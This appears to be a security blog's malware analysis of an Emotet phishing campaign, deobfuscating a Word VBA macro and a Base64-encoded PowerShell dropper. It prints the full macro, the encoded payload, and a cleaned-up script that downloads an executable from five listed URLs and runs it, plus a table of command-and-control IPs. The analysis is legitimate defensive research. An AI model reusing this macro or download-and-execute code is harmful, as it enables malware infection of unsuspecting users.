We analyzed a recent wave of phishing mails trying to spread the Emotet banking trojan via malicious Word documents. This post provides details of the obfuscation methods used in the VBA macro and the PowerShell script contained within the Word documents.
Contents
- Introduction
- Deobfuscating the VBA Macro
- Deobfuscating the PowerShell script
- Running the Emotet Trojan
1. Introduction
To be infected, four user interactions are required: Open the email, click the link contained within, open the Word document that is downloaded and then enable the execution of macros:
The macro then proceeds to execute a PowerShell script which in turn downloads and executes the Emotet trojan.
The phishing mails do not use a fake sender, instead they spoof the display name. The display name is set to a (valid) email address: "MatthiasPeters@firma.de" <juan.reynolds@resory.pl>
The email text purports to contain an important invoice, provided as a link. Clicking the link downloads a .doc Microsoft Word file. The linked domains seem to be websites with hacked CMS software. The Word document uses a standard phishing trick: It claims it is "protected" and requests the user to activate macros to be able to see the document contents:
2. Deobfuscating the VBA Macro
We extracted the VBA code of the macro using oledump.py:
See all of the code here.
1Attribute VB_Name = "Module1"
2
3Function BFvwAuZaVks()
4 XAamgnsVVb = 5165
5 Dim SrGPDtnepsZ(5165)
6 GHzbxwpn = "vtSrDzbX"
7 amnKkpVwV = "VWseGNg"
8 SrGPDtnepsZ(2227) = awzenTtPGY
9 SrGPDtnepsZ(4272) = WUkcPat
10 SrGPDtnepsZ(3669) = 7075 + 6231 + 8852 + 5718 / 4558 / 9361 / 1558 - 7755 - 3944 + 3708 + 9243
11 SrGPDtnepsZ(4564) = 2190 + 1532 + 1910 / 8793 - 9797 + 4889 + 4615
12 SrGPDtnepsZ(3963) = 2418 + 5027 / 3108 / 7451 - 9786 - 548 - 2611 + 2156 + 5715
13 SrGPDtnepsZ(4468) = sTrKDrEMD
14 SrGPDtnepsZ(4882) = hxGDwUsz
15 SrGPDtnepsZ(4115) = yYWXhtA
16 SrGPDtnepsZ(4036) = 513
17 SrGPDtnepsZ(1906) = 4149
18 SrGPDtnepsZ(4353) = 4888
19 SrGPDtnepsZ(4520) = 4721
20 SrGPDtnepsZ(3908) = WnFmeKgcP
21 SrGPDtnepsZ(79) = uDLZbSACx
22 SrGPDtnepsZ(4255) = KUeDGrVbCdS
23 SrGPDtnepsZ(1019) = 6267 + 4071 / 215 / 3455 / 1127 - 6146 - 6217 - 8856 + 6066 + 6423 + 3276
24 SrGPDtnepsZ(845) = 9362 + 6185 / 6055 - 688 - 7820 - 794 + 1692 + 3520 + 897
25 SrGPDtnepsZ(1049) = 3086 + 9498 + 5926 + 8841 / 4542 - 6575 - 5633 - 7816 + 7935 + 1215
26 For XAamgnsVVb = 2759 To 3545
27 SrGPDtnepsZ(XAamgnsVVb) = XAamgnsVVb
28 Next
29 cHyBNGb = SrGPDtnepsZ(926) + SrGPDtnepsZ(3005) + SrGPDtnepsZ(3149) + SrGPDtnepsZ(1498) + SrGPDtnepsZ(5165)
30 ueCChrd = SrGPDtnepsZ(2748) + SrGPDtnepsZ(83) + SrGPDtnepsZ(4223) + SrGPDtnepsZ(3116) + SrGPDtnepsZ(159) + SrGPDtnepsZ(5165)
31End Function
32
33Function NhvPuxvN()
34 TnrRkfSK = 2872
35 Dim wYVwYPZF(2872)
36 KPUdypH = "mNbsMXPAeu"
37 wYVwYPZF(413) = DAzwxYTPDpn
38 wYVwYPZF(1629) = CtULWMbR
39 wYVwYPZF(959) = SXrHAePSKs
40 wYVwYPZF(1423) = 9521 + 1988 / 4344 / 6200 - 9941 - 5877 - 7876 + 5040 + 6001
41 wYVwYPZF(2812) = 4990 + 6672 / 6251 / 7159 - 7847 + 6786
42 wYVwYPZF(1132) = 4988 + 8786 / 7729 / 2597 / 8154 - 653 - 6983 + 9292 + 6301
43 wYVwYPZF(812) = vAMKygw
44 wYVwYPZF(1254) = DdUfWKsECzw
45 wYVwYPZF(1555) = 727
46 wYVwYPZF(1707) = LXFkhuTZhX
47 wYVwYPZF(1518) = vdMuzhTfgS
48 wYVwYPZF(1777) = BVmcmTXF
49 wYVwYPZF(1682) = XsBSUrH
50 wYVwYPZF(1908) = 3573 + 8612 + 9318 + 9297 / 9023 / 8782 / 9059 - 6885 - 4062 - 3479 + 2192 + 697
51 wYVwYPZF(644) = 849 + 8506 + 8665 / 3519 / 1456 / 4453 - 1186 + 632
52 wYVwYPZF(713) = 6508 + 6703 / 3722 - 1205 - 8884 - 2100 + 4052 + 1127
53 For TnrRkfSK = 102 To 160
54 wYVwYPZF(TnrRkfSK) = TnrRkfSK
55 Next
56 cvrTLUP = wYVwYPZF(1737) + wYVwYPZF(2715) + wYVwYPZF(996) + wYVwYPZF(479) + wYVwYPZF(2484) + wYVwYPZF(292) + wYVwYPZF(1105) + wYVwYPZF(2872)
57 YHNcNpTz = wYVwYPZF(701) + wYVwYPZF(749) + wYVwYPZF(2276) + wYVwYPZF(2872)
58 cFzHxGk = wYVwYPZF(905) + wYVwYPZF(2182) + wYVwYPZF(2382) + wYVwYPZF(2872)
59End Function
60
61Sub autoopen()
62 VKbZcLUg
63End Sub
64
65Public Function yKvCXNf(vRKbufsX)
66 YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
67 LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
68 MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
69 WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
70 XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
71 KADXEmH = ActiveDocument.CustomDocumentProperties(vRKbufsX)
72 yKvCXNf = KADXEmH
73 YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
74 LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
75 MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
76 WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
77 XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
78End Function
79
80Public Function VKbZcLUg()
81 YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
82 LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
83 MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
84 WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
85 XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
86 DEBAKSwY = yKvCXNf("ankMNxSvDuv") + yKvCXNf("fDaHszez") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + yKvCXNf("kfShLKvtYaW") + yKvCXNf("drgLHvTZD") + yKvCXNf("RzsFTKsMa")
87 YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
88 LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
89 MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
90 WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
91 XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
92 ZneZkvTk = yKvCXNf("PpRDVaYk") + yKvCXNf("SnVfbyV") + yKvCXNf("NBhWRnnr") + yKvCXNf("nGmERhbgD") + yKvCXNf("MHmBmVtxxeD") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + yKvCXNf("GZnvfVd")
93 mNaCbmDx = ZneZkvTk + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + fPsFbYX
94 CreateObject(DEBAKSwY).Run$ mNaCbmDx + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + atMRBBmV, 0
95 YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
96 LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
97 MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
98 WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
99 XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
100End Function
101
102Function mRfpfKhGSD()
103 mCzGYYaxRLX = 8385
104 Dim MCGPUwUZMWy(8385)
105 caMKKbnBu = ("rFNuCnmpUU")
106 ALKNUwLcpPu = ("SLCZxtuyhF")
107 MczvCeNBH = ("XLSHkERKtnR")
108 MCGPUwUZMWy(7904) = UcwcACY
109 MCGPUwUZMWy(2787) = rbUkPum
110 MCGPUwUZMWy(684) = 7163 + 811 + 710 / 7663 / 5363 / 1108 - 3395 - 7739 + 4644 + 8393 + 9078
111 MCGPUwUZMWy(1867) = KwvDMWrrG
112 MCGPUwUZMWy(1721) = LzkZWpB
113 MCGPUwUZMWy(7960) = 8725
114 MCGPUwUZMWy(8262) = 7312
115 MCGPUwUZMWy(6212) = 8270
116 MCGPUwUZMWy(298) = ZUpymUKM
117 MCGPUwUZMWy(3896) = 954 + 9998 / 9266 / 6580 - 736 - 883 + 2313 + 1188 + 5675
118 For mCzGYYaxRLX = 7999 To 5163
119 MCGPUwUZMWy(mCzGYYaxRLX) = mCzGYYaxRLX
120 Next
121 KAyYxEHgrP = MCGPUwUZMWy(3814) + MCGPUwUZMWy(8385)
122 ZBXEkbtP = MCGPUwUZMWy(3170) + MCGPUwUZMWy(1765) + MCGPUwUZMWy(8385)
123End Function
124
125
126Function gHXrdcyrg()
127 WavCCbxD = 8004
128 Dim EhAUrkkxwMG(8004)
129 naRAuCU = ("vgaYmNPnVX")
130 EhAUrkkxwMG(2991) = eNECkccF
131 EhAUrkkxwMG(6466) = FbcdBnKRuK
132 EhAUrkkxwMG(3066) = kfEeTmdvHNy
133 EhAUrkkxwMG(3977) = vLuXaKtP
134 EhAUrkkxwMG(2869) = 4459 + 146 + 7490 / 9816 - 7410 - 8463 - 2553 + 451 + 8893
135 EhAUrkkxwMG(5881) = mtpNLGb
136 EhAUrkkxwMG(5248) = gfxcZDpkv
137 EhAUrkkxwMG(2458) = SsvSpWe
138 EhAUrkkxwMG(458) = AVUPYHGfC
139 EhAUrkkxwMG(4552) = 198
140 EhAUrkkxwMG(5266) = XvRCbwhh
141 EhAUrkkxwMG(4843) = eXHbUGY
142 EhAUrkkxwMG(6934) = dHZNEDyDcv
143 EhAUrkkxwMG(4138) = MvYmwSeRUT
144 EhAUrkkxwMG(6033) = 8623 + 2405 / 7340 / 2292 - 2848 - 4607 + 3843 + 888 + 8671
145 For WavCCbxD = 830 To 4845
146 EhAUrkkxwMG(WavCCbxD) = WavCCbxD
147 Next
148 PHZLUddDVam = EhAUrkkxwMG(7146) + EhAUrkkxwMG(7682) + EhAUrkkxwMG(122) + EhAUrkkxwMG(417) + EhAUrkkxwMG(4616) + EhAUrkkxwMG(1498) + EhAUrkkxwMG(8004)
149End Function
Of the 152 lines of code, only a few have an actual purpose — the rest is just there for misdirection. Most of the code's functions actually never get called.
A good start is to look for the autoopen()
function which gets executed when the document is opened:
Sub autoopen()
VKbZcLUg
End Sub
This points us to the VKbZcLUg()
function. It contains loads of useless code such as:
YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
These are pointless comparison operations. A variable x gets set to true or false depending on whether a + b is equal to c or not:
x = a + b = c
All those lines are irrelevant and can be skipped.
Lines with function calls in brackets need a closer look:
ZneZkvTk = yKvCXNf("PpRDVaYk") + yKvCXNf("SnVfbyV") + yKvCXNf("NBhWRnnr") + yKvCXNf("nGmERhbgD") + yKvCXNf("MHmBmVtxxeD") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + yKvCXNf("GZnvfVd")
The yKvCXNf()
function keeps getting called with different arguments. This function contains more comparison operations as a distraction and one line of actually useful code:
Public Function yKvCXNf(vRKbufsX)
[...]
KADXEmH = ActiveDocument.CustomDocumentProperties(vRKbufsX)
This line looks up and returns custom document properties set for the Word document, based on the parameter given to it. We take a look at the custom document properties and see they contain string parts for the strings "powershell"
and "wscript.shell"
:
Getting back to the main VKbZcLUg()
function, there are two lines of code doing the actual work. They can be recognized by the strings ActiveDocument.BuiltInDocumentProperties("Comments")
and CreateObject(DEBAKSwY).Run
:
mNaCbmDx = ZneZkvTk + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + fPsFbYX
CreateObject(DEBAKSwY).Run$ mNaCbmDx + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + atMRBBmV, 0
Plenty of string concatenation is taking place, with undefined variables that can all be ignored. The actual string comes from the document's comments field. Taking a look we find a long Base64-encoded string:
JAB7AFcAYABzAEMAUgBgAEkAcABUAH0AIAA9ACAALgAoACIAewAwAH0AewAyAH0AewAxAH0AIgAgAC0AZgAnAG4AZQB3AC0AbwBiACcALAAnAHQAJwAsACcAagBlAGMAJwApACAALQBDAG8AbQBPAGIAagBlAGMAdAAgACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiAC0AZgAnAFcAUwBjAHIAaQBwACcALAAnAHQALgBTAGgAZQBsACcALAAnAGwAJwApADsAJAB7AHcAYABFAEIAYwBgAGwASQBlAE4AVAB9ACAAPQAgACYAKAAiAHsAMQB9AHsAMAB9AHsAMwB9AHsAMgB9ACIALQBmACcAZQB3AC0AbwAnACwAJwBuACcALAAnAGUAYwB0ACcALAAnAGIAagAnACkAIAAoACIAewA1AH0AewAxAH0AewAzAH0AewAwAH0AewA0AH0AewAyAH0AIgAtAGYAJwBiAEMAbABpACcALAAnAFcAJwAsACcAdAAnACwAJwBlACcALAAnAGUAbgAnACwAJwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AJwApADsAJAB7AFIAYABBAGAATgBEAE8ATQB9ACAAPQAgACYAKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwBvAGIAJwAsACcAagBlAGMAdAAnACwAJwBuAGUAdwAtACcAKQAgACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcAbQAnACwAJwByAGEAbgBkAG8AJwApADsAJAB7AHUAYABSAEwAcwB9ACAAPQAgACgAIgB7ADIAMwB9AHsAMQA1AH0AewAxADkAfQB7ADEAfQB7ADEAMwB9AHsAMQA2AH0AewA4AH0AewAxADgAfQB7ADIANwB9AHsAMQAwAH0AewAyADkAfQB7ADEAMgB9AHsANQB9AHsAMgA1AH0AewAxADcAfQB7ADIAfQB7ADAAfQB7ADIAMQB9AHsAMgA4AH0AewAxADEAfQB7ADYAfQB7ADEANAB9AHsANAB9AHsAMwB9AHsAOQB9AHsANwB9AHsAMgAyAH0AewAyADAAfQB7ADIANgB9AHsAMgA0AH0AIgAgAC0AZgAgACcAdAB0AHAAOgAvAC8AYQAnACwAJwBiAG8AJwAsACcALwBsAEUAWQBKAGsALwAsAGgAJwAsACcAcgBpAHgAbQAnACwAJwAvAC8AZwBsAG8AYgBhAGwAbQBhAHQAJwAsACcAdAB1ACcALAAnAHQALwBWAFcASwBuAGcAaAAvACcALAAnAGUAdAAnACwAJwAvAGQAYQB6AGUAJwAsACcAYQByAGsAJwAsACcAbwBtAC4AaABrAC8AeQBhACcALAAnAHAAJwAsACcAaAB0AHQAcAA6AC8ALwBmAHUAbgBrAHkAcwAnACwAJwBuAG4AaQBlAGoAYQAnACwAJwAsAGgAdAB0AHAAOgAnACwAJwAvAC8AbQBpAHMAJwAsACcAbgBlAC4AYwBvAG0ALwBIAC8ALABoAHQAdABwADoALwAnACwAJwBvAHIAZwAnACwAJwAuACcALAAnAHMAJwAsACcAZwAuAGMAbwAnACwAJwByAGQAdwAnACwAJwBpAG4AJwAsACcAaAB0AHQAcAA6ACcALAAnAC8ASABYAEEAcABKAGoALwAnACwAJwBkAGkAbwAuACcALAAnAG0AJwAsACcAYwAnACwAJwBlAGIALgAnACwAJwBlAFIAWABxAC8ALAAnACkALgAoACIAewAxAH0AewAwAH0AIgAtAGYAJwB0ACcALAAnAFMAcABsAGkAJwApAC4ASQBuAHYAbwBrAGUAKAAnACwAJwApADsAJAB7AG4AYABBAE0ARQB9ACAAPQAgACQAewByAGAAQQBuAGQATwBtAH0ALgAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAGUAeAB0ACcALAAnAG4AJwApAC4ASQBuAHYAbwBrAGUAKAAxACwAIAA2ADUANQAzADYAKQA7ACQAewBwAGAAQQBUAEgAfQAgAD0AIAAkAHsAZQBuAHYAYAA6AHQAZQBgAG0AUAB9ACAAKwAgACcAXAAnACAAKwAgACQAewBuAGAAQQBNAGUAfQAgACsAIAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACcALgBlAHgAJwAsACcAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJAB7AHUAYABSAEwAfQAgAGkAbgAgACQAewB1AGAAUgBsAFMAfQApAHsAdAByAHkAewAkAHsAVwBFAEIAQwBgAEwAYABJAGUAbgBUAH0ALgAoACIAewAwAH0AewAzAH0AewAxAH0AewAyAH0AIgAtAGYAJwBEAG8AdwBuACcALAAnAEYAJwAsACcAaQBsAGUAJwAsACcAbABvAGEAZAAnACkALgBJAG4AdgBvAGsAZQAoACQAewBVAGAAUgBMAH0ALgAoACIAewAwAH0AewAxAH0AewAyAH0AIgAgAC0AZgAnAFQAbwBTACcALAAnAHQAcgBpACcALAAnAG4AZwAnACkALgBJAG4AdgBvAGsAZQAoACkALAAgACQAewBQAGAAQQB0AGgAfQApADsALgAoACIAewAwAH0AewAyAH0AewAxAH0AewAzAH0AIgAgAC0AZgAgACcAUwB0ACcALAAnAHMAJwAsACcAYQByAHQALQBQAHIAbwBjAGUAJwAsACcAcwAnACkAIAAkAHsAUABhAGAAVABoAH0AOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7ACYAKAAiAHsAMwB9AHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBlAC0AJwAsACcAaABvAHMAdAAnACwAJwByAGkAdAAnACwAJwB3ACcAKQAgACQAewBfAH0ALgAiAEUAYAB4AGMAZQBQAHQASQBgAE8ATgAiAC4AIgBtAGAAZQBzAHMAQQBgAEcARQAiADsAfQB9AA0ACgA=
Time to put all our findings together! We have a CreateObject call which creates an object of the type "wscript.shell". It then runs the shell command "powershell -e JAB7AFcAYABzAEMAUgBgAEk[...]CgA="
with the complete Base64-encoded PowerShell script. This uses the handy PowerShell command line option -EncodedCommand
or -e
which accepts Base64-encoded commands.
Here's the fully deobfuscated macro:
Sub autoopen()
f1
End Sub
Public Function f1()
x1 = "wscript.shell"
x2 = "powershell -e "
payload = x2 + "" + ActiveDocument.BuiltInDocumentProperties("Comments")
CreateObject(x1).Run$ payload
End Function
3. Deobfuscating the PowerShell script
Decoding the Base64-string we got from the document's comment field, we find some slightly obfuscated PowerShell code:
${W`sCR`IpT} = .("{0}{2}{1}" -f'new-ob','t','jec') -ComObject ("{0}{1}{2}"-f'WScrip','t.Shel','l');
${R`A`NDOM} = &("{2}{0}{1}"-f 'ob','ject','new-') ("{1}{0}" -f'm','rando');
${u`RLs} = ("{23}{15}{19}{1}{13}{16}{8}{18}{27}{10}{29}{12}{5}{25}{17}{2}{0}{21}{28}{11}{6}{14}{4}{3}{9}{7}{22}{20}{26}{24}"
-f 'ttp://a','bo','/lEYJk/,h','rixm','//globalmat','tu','t/VWKngh/','et','/daze','ark','om.hk/ya','p','http://funkys','nnieja',
',http:','//mis','ne.com/H/,http:/','org','.','s','g.co','rdw','in','http:','/HXApJj/','dio.','m','c','eb.','eRXq/,').
("{1}{0}"-f't','Spli').Invoke(',');
${n`AME} = ${r`AndOm}.("{1}{0}"-f 'ext','n').Invoke(1, 65536);
${p`ATH} = ${env`:te`mP} + '\' + ${n`AMe} + ("{0}{1}" -f '.ex','e');
foreach(${u`RL} in ${u`RlS}){try{${WEBC`L`IenT}.("{0}{3}{1}{2}"-f'Down','F','ile','load').Invoke(${U`RL}.
("{0}{1}{2}" -f'ToS','tri','ng').Invoke(), ${P`Ath});
.("{0}{2}{1}{3}" -f 'St','s','art-Proce','s') ${Pa`Th};break;}
catch{&("{3}{2}{0}{1}" -f'e-','host','rit','w') ${_}."E`xcePtI`ON"."m`essA`GE";}}
The code does some minor string trickery using PowerShell's -f
Format operator. It rearranges fragments of a string ('new-ob','t','jec'
) into the order provided by numbered placeholders ({0}{2}{1}
). The rest is just fancy variable naming such as ${W
sCRIpT}
.
Re-arranging the strings and cleaning up the variable names we get:
$wscript = New-Object -ComObject WScript.Shell;
$webclient = New-Object System.Net.WebClient;
$random = New-Object Random;
$urls = (
http://missbonniejane.com/H/,
http://daze.com.hk/yaeRXq/,
http://funkystudio.org/lEYJk/,
http://ardweb.pt/VWKngh/,
http://globalmatrixmarketing.com/HXApJj/
).Split(',');
$name = $random.Next(1,65536);
$path = $env:temp + '\' + $name + ".exe";
foreach($url in $urls){
try{
$webclient.DownloadFile($url.ToString, {path});
Start-Process ${path};
break;
}
catch{ write-host $_.Exception.Message; }
}
As we can see, the code downloads the trojan from five different URLs, saves it in the temp directory using a randomly generated numerical name, and then executes it.
4. Running the Emotet Trojan
We run the trojan in a custom VM without a network adapter and a fake network provided by Fakenet-NG. Sniffing the network traffic of the trojan, we can see periodic HTTP POSTS with encrypted data to a rotating list of C&C servers:
We let the trojan run for a while to get the following full list of servers:
IP | Port | Network | Location |
---|---|---|---|
173.212.227.54 | 443 | AS51167 Contabo GmbH | Germany |
104.236.252.178 | 8080 | AS62567 DigitalOcean, LLC | Clifton, NJ, USA |
162.243.159.58 | 443 | AS14061 DigitalOcean, LLC | San Francisco, CA, USA |
45.33.55.157 | 8080 | AS63949 Linode, LLC | Fremont, CA, USA |
77.244.245.37 | 7080 | AS47692 Nessus GmbH | Vienna, Austria |
192.81.212.79 | 443 | AS62567 DigitalOcean, LLC | North Bergen, NJ, USA |
173.212.192.45 | 443 | AS51167 Contabo GmbH | Germany |
103.16.131.20 | 8080 | AS133159 Mammoth Media Pty Ltd | Australia |
Read about other interesting topics on our blog.